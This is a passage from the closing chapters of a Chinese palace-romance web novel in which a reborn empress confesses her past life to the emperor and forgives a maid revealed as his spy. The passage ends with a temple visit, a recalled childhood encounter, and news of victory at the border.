内心疑惑变得更重,许怀鹤斟酌着字句:“道家的确有前世今生的说法,六道轮回不过如此,阿钰莫非也信人有来生?” 事到如今,容钰仍不知道自己做的决定是对是错,一旦自己暴露埋藏最深的秘密,将上一世发生的事和自己看到的和盘托出,以许怀鹤的聪慧,一定能猜出自己是有了上一世的经历,知晓了未来会发生的事,才刻意接近他。 虽然知道许怀鹤深爱自己,并不会因为自己一开始的目的不纯而不爱自己,疏远自己,但容钰心里依旧充满忐忑不安,不想因为这件事和许怀鹤生出隔阂和误会。 她悄悄抬起眼,想从许怀鹤的身上寻求安稳,却又在接触到许怀鹤视线的那一瞬猛地低头,眼里忽地蓄满了泪。 她不知道自己为何想哭,但就是突然觉得委屈极了,为什么是自己要承受这一切?为什么非要是她?为什么自己明明已经努力改写了大部分的未来,却依旧要面对这般艰难的处境? 这个秘密是自己傍身的东西,是她重生之后最大的依仗,也是她能鼓起勇气改变自己未来命运,改变镇国公府命运的救命之物,她本想将这个秘密永远埋藏在心底,绝不说出口…… “我,”容钰放开锦被,双手扯住了许怀鹤的衣袖,如同以往的许多次那样攥紧,寻求安心,“我重活了一次。” 许怀鹤瞳孔骤缩。 脑海里似乎有两个声音,其中一道声音冷静地告诫他,前世今生的说法根本就是谬论,阿钰一定是有其他瞒的更深的事情不想让你知晓,所以才用前世这样拙劣的借口搪塞你,转移你的注意。 而另一个声音却告诉他,阿钰说的是真的,只有这样离奇的,匪夷所思的事才值得阿钰隐瞒如此之久,如此之深,用含泪的眼告诉你真相,将秘密告知你,将她最害怕的事摆在你眼前。 “前世这时,再过一年多,我就会被父皇送去漠北和亲,病死在和亲路上。”容钰说着,哭的几乎哽住,眼泪决堤,一滴一滴像断了线的珠子一样从脸颊滚落下来,滴在锦被上,瞬间就沾湿了被面上的山茶绣花。 她顾不得抹眼泪,哽咽着继续道:“因为漠北攻打大夏边境,势如破竹,几乎就要打到京城来,大夏节节败退,舅舅,舅舅也死在了边关的战事中,父皇大怒,说舅舅守关不力,要让镇国公府全府流放……” 许怀鹤静静听着,越听越是心惊,狗皇帝早就有杀镇国公的想法,前世镇国公在边关战事中阵亡,指不定就有狗皇帝从中作梗,送阿钰去漠北河亲,更是狗皇帝为了逼死阿钰能做出来的事。 许怀鹤双拳攥紧,手指节节用力,手背青筋凸起,几乎要捏碎自己的指骨,怒气和更复杂的情绪盘旋在他的心头,听着容钰断断续续地说完了前世她经历过的,还能记起的事情。 若是在容钰说完前,许怀鹤心里还有几分怀疑,那在听容钰说完后,他便已经完全信了容钰的话,因为容钰口中那些事,有很多都像是他的手笔,特别是闻锐达的死,还有刘家和王家之后的下场,以及他布置招魂阵,又将狗皇帝做成人彘的手段…… 水患,一个黄河水患困住了他,导致他没能及时回到京城,没有救下公主殿下,没能阻止阿钰上一世被送去和亲,被狗皇帝和漠北逼死。 是啊,如果是这样,那么那些怪异之处都说得通了,阿钰会在梦中害怕再一次被送去漠北和亲,因为她害怕她会如同上一世那样,死在和亲的路上。 这也解释了为何阿钰在得知他身份,得知登基称帝后并没有太多惊讶,而是平静地接受了,因为在上一世,他同样称帝,且手段比这一世更加残忍,更加激进。 这也是阿钰发现自己真面目之后,也没有选择离开自己的原因么?以及最重要的,阿钰最初那些对自己的示好,对自己蓄意的接近,是阿钰知道自己未来会称帝,所以提前笼络他,得到他的真心? 容钰已经将自己的秘密说完了,她觉得自己仿佛卸下了千斤重的担子,身上轻松的同时心却一直下沉,坠在胸口,沉甸甸的痛。 许怀鹤会信吗?许怀鹤会怎么想?若是许怀鹤觉得她疯了怎么办? 许怀鹤一直没有开口,容钰更加不安,再一次抬眼,悄悄去看许怀鹤,却被许怀鹤逮了个正着。 容钰下意识地偏头,心如擂鼓,想要逃避许怀鹤的注视,但许怀鹤并不给她这个机会,抬起手捧住了她的脸颊,让她被迫转过头,将许怀鹤眼中的偏执和占有看了个清清楚楚。 “阿钰,我信你。”许怀鹤的声音很轻,但容钰却觉得头皮发麻,“我也知晓,你一开始接近我是有意为之,但我不在乎。” 他向容钰又靠近了一些,指腹轻柔地抚摸着容钰的侧脸,在光滑柔软的皮肤上留下属于他的温度和气息,原本就深黑的眼睛看去更像深不见底的潭水。 容钰颤抖地抓住他的衣袖,为许怀鹤真的相信自己胡话一样的说辞而感到高兴和心安,却又因为许怀鹤果然看穿了自己的蓄意接近,看透自己一开始伪装的真心而感到羞耻和害怕。 接着,她听到许怀鹤近乎虔诚的低语,暗藏着无穷无尽的疯狂:“那又如何?阿钰如今,以后,永远都会在我身边,永远都是我的,不是么?” 疯了,都疯了。 容钰抖了抖唇瓣,心想自己应该也是疯了,抓着许怀鹤的衣袖,自愿陷入了许怀鹤早就为她铺好的金玉笼里,颤声道:“是。” 第76章 第76章期待着来日。 * 屋内静悄悄的,青竹看着素色的被子,有些落寞地叹了一口气。 身上的伤口倒是不疼了,但她心里始终记挂着皇后娘娘的安危,即便其他宫女已经告诉她皇后娘娘安然无恙,她依旧不怎么安心,想要亲自见皇后娘娘一面。 但她如今伤口仍旧未能痊愈,连床榻都下不了,在得知陛下给娘娘的身边又安排了一批新的会武功的侍女时,她急的就要起身,又被来照顾她的宫女按了回去,再三向她保证,说皇后娘娘亲口说了,等她痊愈后就会让她回到娘娘身边继续伺候,青竹这才冷静下来。 那日,皇后娘娘被耶律雪峰掳走后,她顾不得身上的伤就追了出去,加上骑马颠簸,腹部受的内伤又加重了许多,在追到一半时就体力不支,从马上摔了下来,晕倒在了路上。 她强撑着最后一丝清明,看到了赶来的镇国公,向镇国公指明了耶律雪峰离开的方向。 在她心目中,皇后娘娘早已是她的主子,说句大逆不道的话,皇后娘娘比陛下更为重要,若是真有那么一日,陛下的命令和皇后娘娘的意愿不同,她宁愿冒着被陛下砍头的危险,也要以皇后娘娘为先。 “青竹,青竹。” 春桃的声音从房门口传来,青竹支起身子叫了一声“进来吧”,就看到春桃手里捧着木盒,脸上带着笑过来看望她,在她床边坐下,将木匣打开给她看。 “娘娘今天想看话本时又叫了你的名字,娘娘还是没能习惯你没在身边的日子呢。”春桃伸出手指了指木盒中圆润的东珠,还有几根白玉簪,“这是娘娘让我带来赏给你的,娘娘让你安心养伤,等伤好了就回坤宁宫,你就别胡思乱想了。” 春桃笑了笑:“娘娘还说了,若是之前给你送的山参蛇胆你已经用完 了,就再让人给你送一批来,千万不能留下暗伤,娘娘对你我都可好了,对吧?” “是,”青竹从春桃的手中接过木盒捧着,眼眶默默红了,“娘娘对我们太好了,娘娘是这天底下最心善,最美丽的人。” 春桃看着青竹感动的面容,嘴唇动了动,神色多几分复杂,她捏了捏手指,最终还是忍不住开口,声音很低,带着沮丧:“青竹,其实,你一开始就是陛下的人吧?” 她看着青竹瞬间惊愕的面色,心里原本的猜疑变得更加笃定,有些不忍心,但还是坚定地说了下去,想要执着地寻求一个答案:“从娘娘和我第一次见你起,在镇国公府时,你就是陛下安排的人,对吗?” 青竹双手瞬间扣紧,她死死抓着木盒,忍住身体的颤抖,想要竭力压下自己被戳穿的惊慌,但微微打颤的声音还是暴露了她:“你说什么?我听不懂。春桃你是不是误会了?” “我不傻。”春桃突然哭了起来,她一边流泪一边握住青竹的手腕,“你也别骗我了,你之前问过我那样古怪的问题,什么主子不是公主殿下,但绝不会做伤害殿下的事,会不会被赶走,我就觉得奇怪。” 她顿了顿:“娘娘和陛下没成亲之前,娘娘不管去哪里,陛下总是能知道,能和娘娘巧遇,是不是你在递消息?那日娘娘被掳走,陛下赶过来时,也是先问了你,想找你要消息!” 青竹哑口无言,她一直觉得自己伪装的极好,这么久来谨小慎微,也从未暴露过什么,却没想到还是在一次又一次的相处中,被春桃看出了端倪,被这个看起来傻乎乎的姑娘敏锐地察觉到了她的身份。 她无法反驳,但又不敢承认,不愿意承认,只能保持沉默。 春桃从她的沉默当中得出了答案,哭的更厉害了,泪眼朦胧却依旧握住她的手,嘟嘟囔囔道:“我知道了,我会告诉皇后娘娘的,我不能瞒着娘娘。” 青竹的心猛地往下一坠,原本就攥紧的手更加用力,指甲戳破皮肉,缓慢渗出了鲜血,就连原本身上已经开始缓慢愈合的伤口似乎都崩裂开来,一阵撕心裂肺的痛。 青竹胸口像堵着一团棉花,喉咙也难受,她张了张唇,却吐不出来半个字。 她不想被娘娘抛弃,不想再也不能回到坤宁宫,不能再回到娘娘身边,不能被皇后娘娘那样温柔地对待,不想再成为可以随意摆弄的棋子,回到没有家人,没有人在乎的日子啊! 青竹的脸色变得惨白,春桃被她的反应吓到了,又连忙抓住她的手臂晃了晃,一边抹眼泪一边对她说:“没事的青竹,娘娘仁慈宽厚,多半会原谅你的,我也会求娘娘让你留在坤宁宫,不要把你赶出去,青竹?” 青竹颓然地倒在软枕上,她对上春桃担忧的眼神,惨然地笑了笑,声音轻飘飘的,似乎下一刻就要消散:“你去吧。” 她理解春桃,春桃对皇后娘娘最忠心,一定会把她的身份告知娘娘,她也无法阻止春桃,在内心深处,她其实也有那么一丝期望,希望能够在皇后娘娘面前再也不用伪装,能够完全成为皇后娘娘的人,不再受命于其他人。 如果娘娘真的能够原谅自己就好了……她愿意以性命起誓,此生绝对不会做任何伤害娘娘的事,一定全心全意听命于皇后娘娘,保护皇后娘娘。 她目送着春桃一路小跑出了房门,缓缓闭上眼睛,在内心一次又一次地祈求着自己真的能够被原谅,能够再回到坤宁宫,能够和春桃一起留在娘娘身边。 春桃一路小跑回了坤宁宫,在即将入院门时她才缓缓停了下来,将自己的呼吸平稳下来,又拍了拍衣服,确保没有出岔子,这才进了屋内,走到容钰的面前,扑通一声跪了下来。 容钰手里还拿着话本子,被春桃的动作惊了一跳,连忙想要伸手去扶春桃,问问是什么事这么慌张,却听春桃哭着将青竹的身份说了。 春桃说着,忍不住又哭了起来:“奴婢知道娘娘如今怀着龙胎,听不得这些事,奴婢也不是有意让娘娘生气的,但奴婢实在不想瞒着娘娘,也想替青竹求一求情,青竹虽然是陛下派来的人,但对娘娘忠心耿耿,没有做任何伤害娘娘的事,青竹她……求娘娘留下青竹吧!” 容钰听得愣住,好半晌才反应过来春桃方才说的事。 原来青竹也是许怀鹤派来的人吗?许怀鹤从很早之前就在谋划这一切,她心里早有准备,也知道许怀鹤手段高明,但就连自己身边最密切的侍女,也是许怀鹤计谋的一环,容钰还是觉得有些心惊。 不过很快容钰又回神,无奈地叹了口气,觉得没什么,许怀鹤一直如此,不是吗? 她已经和许怀鹤互相交付了秘密和真心,这点小小的隐瞒,如今看来也不是什么大不了的事,况且青竹的确如春桃所说的一样,对自己忠心耿耿,那日她被掳走,也是青竹第一时间扑过来保护她,还受了重伤,就这样把青竹赶出坤宁宫,未免也有些太不近人情。 她的身边除了春桃,亲近的人便没有几个了,嬷嬷年纪大了,那日得知她被掳走,便在坤宁宫里晕了过去,醒来后就主动来找她请辞,说自己实在年老体衰,继续留在坤宁宫里,反而是娘娘的拖累,不想再给娘娘添乱。 容钰心里不舍,但也应了嬷嬷的话,让嬷嬷回公主府颐养天年,不必再担忧坤宁宫里的她,有许怀鹤的保护和关心,她会比上辈子活的更风光,更舒适。 “我不生气,”容钰弯了弯唇,伸手让春桃起来,捏了捏春桃呆愣的脸,“让青竹不必胡思想,你也不许哭鼻子了,等青竹伤好,就让她回坤宁宫来,以前怎么样,以后还是怎么样,明白吗?” 春桃破涕为笑:“好!多谢娘娘,娘娘真好!” 容钰看着春桃欢欢喜喜地跑了出去,笑着叹了叹,刚要再拿起话本,就听到外面的人传报许怀鹤下朝回来了。 容钰放下手里的话本子,看着许怀鹤一如既往大踏步朝她走来,任由许怀鹤牵起自己的手,低声向旁边的宫人询问她今日有没有什么不适,肚子的孩子闹不闹腾,等许怀鹤问完,这才开口:“我想向陛下讨要一个人。” “把青竹给我吧,”容钰笑着拉住许怀鹤的衣袖,微微晃了晃,“说好了,将青竹给了我,你就不许指使她做事了。” 容钰的语气软软的,像羽毛一样轻轻划过许怀鹤的胸口,他感受到了微妙的痒意,知道容钰是在向自己撒娇,下意识点头:“好。” 许怀鹤顿了顿:“你都知道了?” “嗯,”容钰伸出食指,点了点许怀鹤的胸膛,带着几分嗔怪,“是春桃那丫头发现的,刚刚告知了我,你究竟在我身边藏了多少人?” 她问完,又嘟了嘟唇:“算了,我也不想知道。舅舅的事怎么样了?” 许怀鹤握住容钰的手,用指腹慢慢揉着纤纤玉指,慢条斯理地回答:“镇国公自请去了边关,但以愿意让年轻人建功立业为由,自己坐镇后方,让年轻的将士们冲锋陷阵,杀敌添功。” 容钰终于松了一口气,不去前线就好,这一世,镇国公府终于也能平安,舅舅不会再出意外了。 但容钰并不知道的是,她的舅舅镇国公也是倔性子,在听到许怀鹤委婉地让他坐镇后方,不必亲自冲锋陷阵时,眼睛一鼓就要反对,觉得自己依旧年轻力壮,正是壮年好时候,一人能抵千军,死活不同意。 许怀鹤无奈,只好表示若是镇国公要想亲自上阵,那他就御驾亲征,镇国公吓得当场半跪下来,再三保证自己一定会老老实实待在后方指挥,绝对不热血,上头就骑马冲锋,才把许怀鹤御驾亲征的想法劝了下来。 他哪里敢让陛下御驾亲征,大夏好不容易安定下来,要是新帝再出了什么意外,有个三长两短,皇室血脉稀薄,皇后娘娘肚子里的龙胎还没出来,大夏必定又会再一次动荡起来,那他就成了大夏的罪人,他又 怎么对得起自己的侄女,对得起容钰? 容钰也不知道的是,由于镇国公突兀请求坐镇后方,导致朝廷上的风向又一次变化莫测,不少人都暗中猜测是不是陛下害怕镇国公功高震主,才夺了兵权,让更多的将士们出头,觉得陛下和镇国公府又有了嫌隙。 她手里拿着一朵新折的海棠,心中前所未有的平静,期待着来日。【你现在阅读的是 】 第77章【完结】 第77章 完结这样就好了。 * 有容钰专门派去的太医调养,再加上送来的大量补药,青竹的伤势好的很快,不过半月就能下床走动。 刚能下床,青竹就迫不及待地想要回到坤宁宫,见到皇后娘娘,她怀着忐忑的心情,一路从自己养病的小院慢吞吞地走到坤宁宫门口,和她相熟的小宫女见她进门,立刻挂上笑容,亲亲热热地带她进去。 越是靠近卧房,青竹的心绪越是不安,直到看到皇后娘娘的那一刻,青竹再也没忍住,流下泪来,扑通一声跪在容钰面前,哽咽道:“娘娘……” 她泣不成声,容钰扶着小腹,温柔地俯身牵住她的手:“这是做什么?你伤还没好全,可别这样。” “你以后可就完完全全是我的人啦,不用再听陛下的话,”容钰笑起来,“我向陛下将你讨来,可不是让你这样伤自己身子的。” 青竹更加说不出话,只能拼命点头,她不敢让皇后娘娘真的用力扶自己,连忙站起了身,还顺手扶了容钰一把,知道皇后娘娘就这样原谅了她,内心被愧疚和感激填满。 她用袖子抹了抹眼泪,容钰还没能反应过来,她就再次跪下磕了头,又迅速起身退到一边,像往常那样站在容钰的身侧。 容钰轻轻叹了一声,知道自己若是再开口让青竹先休息,不必忙着在自己身侧伺候,青竹反而会多想,又觉得自己还没有完全原谅她,只能招手让春桃过来:“镇国公府那边有回信了么?” “有呢,奴婢正要和娘娘说。”春桃笑着走上来,将手里补气的红枣汤放到容钰面前,“镇国公夫人应了,说是届时会携顾小姐一同去白云观祈福,替国公爷求平安,求顾少爷科举高中。” 容钰点了点头,她心里也担心舅舅的安危,即便已经知晓舅舅这次会在后方,不会亲自上阵杀敌,但还是有些担忧,也想去白云观替舅舅祈福,也为自己肚子里的孩子求个平安,长命百岁。 这次桂嬷嬷也会同去,嬷嬷说,她早些年也在白云观陪皇后娘娘一同许过愿,许愿当时还是昭华公主的容钰能够平安长大,将来有个全心全意爱她的好驸马,锦衣玉食,长乐安康。 心愿应了,桂嬷嬷高兴之余又想,得趁着她还能走动,没有老到下不了榻,赶紧去白云观还愿。 容钰听完也不好劝,点头同意了桂嬷嬷随行,她也已经问过太医了,太医说胎像已稳,可以出门多走动走动,她正好也想出门透透气,被憋在宫里的这几月实在是太过无聊,哪怕顾云溪时常进宫陪她说话,再加上有许怀鹤逗她开心也没用。 许怀鹤也看出她心绪不佳,主动提起了陪她去白云观散心的事,她立刻就应了下来,有许怀鹤陪着,应当也不会再出像耶律雪峰那样的事了。 随着身子一日日变沉,容钰也一日日更嗜睡,到了去白云观这日,春桃和青竹小心翼翼地将她从床上扶起来,坐到铜镜前,容钰还不甚清醒地闭着眼睛。 直到她被扶着上了马车,马车又平平稳稳地出了皇宫,穿过繁华热闹的街道,来到了京郊,闻到了不属于皇宫内熏香的清新气味,容钰才惊觉自己已经离开了那个密不透风的金玉笼。 此时的京郊和冬日已是完全不同的景象,马蹄声踏初春的风,早已破冰消融的河水透出点点柔绿,像是水草在河底晃动舒展,又像是岸边的新柳抽出枝,落在水面上的倒影。 冬日的荒凉气息全然消散,山野间有几颗杏花树,在一片新绿当中绽放出点点雪白,混着青草的气息随风扑面而来,和宫中那些娇养的花朵截然不同,它们蓬勃地,用力地生长着,拼尽全力去求一点甘霖雨露,去求一线生机。 容钰看得怔住,许怀鹤温热的指尖拂过她柔软的脸颊,低声问:“怎么了?” “没事,”容钰回神,“我们还是走小道去三清殿么?” 马上就要到春闱了,不少学子都会在考前去道观或寺庙烧香拜佛,求神保佑,希望自己能够高中,今日来白云观的学子们也不少,遥遥望去人头攒动,石阶上各色衣裳的香客比比皆是,容钰担心许怀鹤和自己的身份不便,也不想大张旗鼓,随手放下了车帘。 许怀鹤本想说不必这样麻烦,自有人为他们回避,旁人也不敢冲撞,但看着容钰被养的红润的侧脸,他又心念一动,贴着容钰的耳侧低声道:“嗯,我抱你去。” 因着许怀鹤曾是国师的身份,又在白云观清修过一段时间,白云观如今的名气已经盖过了其他道观,香火旺盛,又将道观往外扩了几里,还修缮了上下山的道路,连小道也修宽了许多。 长长的石阶上,为了显得更加诚心,不要侍女搀扶,非要自己走上山的娇小姐气喘吁吁地回头一望,却见不让外人进的白云观小道上有两个重叠的身影。 男子身形高大挺拔,怀中的女子娇小,还戴着帷帽,看不清面容,但两个人的气质贵不可言,身上的穿戴更是无一处不精致,不华美,远远看去更是登对,她连忙收回眼,不敢多看,心里却直犯嘀咕,究竟是谁有这么大的面子? 小道的门锁边,顾云溪也不敢跟着,老老实实地随着母亲顾林氏走石阶上去,她偏头看了一眼远远坠在皇后娘娘身后的春桃和青竹几人,放下心来,又想着等会儿为哥哥求完签,还要替皇后娘娘多上几炷香,保佑皇胎能够平平稳稳地生下来,皇后娘娘不用吃太多苦。 哥哥本来应该也要跟着来的,但他不信这些,说什么有来求签的功夫,不如多温几本书,多读几篇策论,顾云溪听了也觉得有些道理,但为了求个心安,她也是要去拜一拜的。 顾云溪到达文昌帝君的殿门时,容钰和许怀鹤也到达了三清殿的正门,走完这么一段上山的路程,怀中还抱着人,许怀鹤依旧气息平稳,手臂有力。 许怀鹤替容钰摘下帷帽,动作轻柔,没有弄乱一丝墨发,他随手将帷帽递给身后的青竹,单手将容钰轻轻放下来,容钰双脚平稳落地,他也没松手,半揽着容钰依旧纤细不显怀的腰身,一步一步带着容钰进了三清殿。 青竹和春桃隔着几步跟在后面,对视一眼,都浅浅笑了起来,心想皇上和娘娘还是一如既往地亲密无间。 陛下爱娘娘用情至深,明眼人都看得出来,可笑朝堂上那群不长眼的瞎子,心中只算计着自己的利益,又想往陛下的后宫里塞妃子,被陛下狠狠落了面子,又抓了错处贬官,这才老实了。 活该! 三清殿内,白云观的道长早就为他们准备好了最上等的香火,许怀鹤抬手替容钰点燃,容钰接过,闭上眼,心里默默再许了愿,将三清祖师爷们谢了又谢。 桂嬷嬷也取了几只香,嘴里低声嘟囔着什么,跪在蒲团上诚心地磕了几个头,给祖师爷上了成堆的供奉,以示 自己没有食言,已经还了愿,站到一边去,偏头往三清殿外的院子瞧了瞧。 三清殿是白云观里最大的殿,前头连着文昌帝君的殿,中间隔着不大不小的一方院子,期望有好成绩的学子们忙着拜文昌帝君,在殿前排起了长队,有不少人都挤在院子里。 此时正是清明前,天气凉爽,今日又春光明媚,万里无云,下一刻却怪异地起了一股狂风,将香炉里的青烟刮起,在空中扭曲飘散,打眼看去,像是一条条青色的游龙。 院子里的古银杏树才刚生出绿色的新叶,就被这股狂风吹得哗哗作响,有光柱从叶片的缝隙直直投下来,竟然将那飘起的青烟照射出了七彩的光芒。 看到这一幕,院子里的考生们都发出了惊叫,来替家中亲人求签的夫人小姐们也连连惊呼,为这奇异的一幕感到震惊。 桂嬷嬷愣怔地盯着那彩色的光芒,心中忽然一突,狠狠地跳了下,下意识地转头看向容钰,突然记起了一件往事。 容钰正巧许完了愿,被春桃和青竹扶着从蒲团上起身,转头对上嬷嬷的眼神,也愣了下,朝着桂嬷嬷走过来,低声问:“嬷嬷,怎么了?” “您瞧。”桂嬷嬷伸手指了指院子里还没有消散的奇景,笑了起来,“天公作美,降下此等祥瑞之象。” 容钰顺着桂嬷嬷手指的方向看过去,被彩色的光芒晃了晃眼眸,有片刻的恍惚。 同一时刻,顾云溪和顾林氏自然也看到了这番景象,两人心里都是止不住的欢喜,觉得这次求签有望,又觉得定是陛下和皇后娘娘今日来白云观,所以上天赐下了这样的吉兆,陛下和皇后娘娘果然是天生一对,是大夏的福报,是大夏之幸。 三清殿内,桂嬷嬷继续低声道:“皇后娘娘,您还记得吗,民间为先皇献上白龟祥瑞那年,您在去水池的路上,宫内也出现过这样的异象。” 桂嬷嬷当年看到异象,也是乐的合不拢嘴,可是那只白鳖没过多久就死了,这可不是什么好兆头,她怕引得其他人多嘴多舌,为公主殿下惹来不必要的麻烦,就不敢往外说,一直把这件事埋藏在心底。 旧事重提,容钰缓缓眨了眨眼睛,从蒙尘的回忆里想起了桂嬷嬷所说的这事,上面覆盖的浓雾好像被瞬间驱散,她猛地记起什么,顿时更加惊异了。 是,的确是有此事,嬷嬷没有说错,她也没有记错。 她那时太小,听说民间为父皇献上奇珍异兽,是一只巨大的白鳖,颜色如雪,十分罕见,众人都说是吉兆,她也想去看一看,但路上遇到了奇景,耽搁了一下,最后只远远地隔着池子瞧了一眼那头白鳖就作罢。 不光遇到了奇景,她那时还遇到了一个人……容钰顿了顿,脑海中回闪过一些片段,她有些不敢置信,下意识掩住了唇。 她和桂嬷嬷因为奇景而停下脚步时,御花园的回廊,一个行迹匆忙,身上有着水迹,形容狼狈的小道童迎面撞了上来。 桂嬷嬷开口就要训斥,却被容钰拦了下来,她有一些好奇地打量着从未见过的生面孔,脆生生地问小道童是谁,为何来宫中。 对方冲撞了贵人,也十分镇定,规规矩矩地行了礼,又低声说了自己的来历,原来是得道高人的小徒弟,是被父皇请来为白鳖造住处的。 容钰看他实在狼狈,好心让嬷嬷领他去坤宁宫换了衣物,又悄悄给他塞了几块自己爱吃的酥点,趁着嬷嬷不在,又向对方问了些宫外的事,对方也耐心一一回答,还刻意说了些逗趣的话来逗她开心。 她也没留小道童太久,便让小道童回去找师父,这本来微不足道,和那日皇宫的奇景,还有那头白鳖比起来不值一提,可容钰想起这事,心却直直颤抖起来。 那位小道童的眉眼,与许怀鹤实在太过相似,几乎是一个模子刻出来的,只是如今的许怀鹤眉眼更加凌厉,带着化不开的威严和压迫,只有在面对她时,才有十足的耐心和温柔。 三清殿外的院子内,奇景并没有维持多久便散了,但人们还是津津乐道,久久驻足,不愿离开。 许怀鹤缓步走到容钰身边,见她还在看着院内那颗在微风下叶片轻轻拂动的银杏树,抬手捏了捏容钰微凉的耳垂,暧昧地低语:“还想多玩一会儿?” 容钰却没有立刻回答他,心里还想着当年那名小道童的面容,忍不住微微偏头,又朝着许怀鹤看去,认真地用眼神临摹着对方的侧脸,越看越像,忍不住开口问道:“是你吗?” 没头没尾的一句话,许怀鹤微顿,心里瞬间闪过了许多事,那些他背着容钰,出手替阿钰报复做下的那些不可为外人道的手段,莫非又被阿钰察觉到了? 许怀鹤心里思绪万千,但面上不动声色,淡淡问了句:“什么?” 容钰浅浅吸了一口气,鼓起勇气问了出来,一顺不顺地盯着许怀鹤的眼睛:“当年民间献瑞,我在御花园里遇到的那位小道童,是你吗?” 许怀鹤愣了愣。 他的眼中闪过意外,沉默片刻后点头承认:“是。” 他没想到容钰竟然还记得这件事,更没想到容钰居然认出了年幼的他。当年以右相杜科为首的人找到他后,觉得他年纪小,好操控,立刻就起了想让他重回皇宫,夺皇位的心思。 为了造势,他们先在民间寻了一只百年难得一见的白鳖,命人送入宫中,又派出人手给白鳖下毒,准备等白鳖一死,就在民间散布传言,说当今皇帝得位不正,触怒上天,再顺势将他推出来,揭示他先朝太子遗孤的身份。 但计划还是出现了些许错漏,原本该给白鳖下毒的小道童弄丢了毒药,他只能偷偷溜进太医院重新做了一份出来,在给白鳖下毒时还是被侍卫察觉,他不得已跳入池水中憋气,直到搜寻他的人走了才上岸。 他一路奔逃,知道若是自己踏错一步就会万劫不复,死在这皇宫之中,是阿钰遇到了狼狈的他,以为他在宫里迷路,允他换衣,给他指路,还给他酥点吃。 是阿钰救他一命。 年幼的公主殿下玉雪可爱,眉眼如同彩色的琉璃,干净又绚丽,他第一眼便失了神。 后来哪怕知道对方是杀父杀母仇人的女儿,他也恨不起来,对方如同枝上雪,天上月,干净的不染一丝尘埃,善良又可爱,每当自己手上的血多沾一滴,他都觉得自己更脏污一分,也离心中的明月更远一寸,所以一开始他迟迟不敢接近公主殿下,生怕自己脏了对方。 听到许怀鹤的回答,容钰露出恍然的神色,她没有再多问许怀鹤那时为何会出现在皇宫之内,只是觉得缘分如此巧妙。 她主动伸出手,牵住了许怀鹤的手指,和以往一样晃了晃,许怀鹤低头,看着容钰白嫩的指尖,遥不可及的明月已经落在了他的手心里,他们之间所有的阻碍也已经被清扫干净,余生作伴,白首不离。 三清殿门口突然出现一个脚步匆忙的身影,大太监差点被门槛绊了一跤,他喘着气在许怀鹤面前停下,深深弯腰行礼,声音却带着止不住的欢喜:“陛下,边关捷报,漠北节节败退,镇国公已经俘虏漠北王!” 这一世,失去了大王子和小王子这两位得力干将,边关战士们又得到了足够的补给,还有镇国公亲自坐镇,年轻的将领们又急于立功,士气高涨,漠北自然撑不住。 听完大太监的话,容钰心里最后一丝顾虑也放下了,漠北输了,舅舅也还活着,打了胜仗,不日就要班师回朝。 容钰轻轻转头,看向三清殿内三位俯视众生的祖师爷,祖师爷的目光悲悯仁慈,她似有所觉地再转头,看向身侧的许怀鹤,对方也在看她,眼神温柔,嘴角含笑。 是祖师爷保佑她,也是许怀鹤保护她,一切的一切都和上一世不一样了,她完完全全地改变了自己的命运,改变了身边人的命运,从此以后,她再也不用担心,不用害怕重蹈覆辙。 容钰释然地笑起来,她想,其实有些事不用想的太明白,心爱的人在身边,她在乎的人都平安,她已经得偿所愿。 这样就好了。【你现在阅读的是 】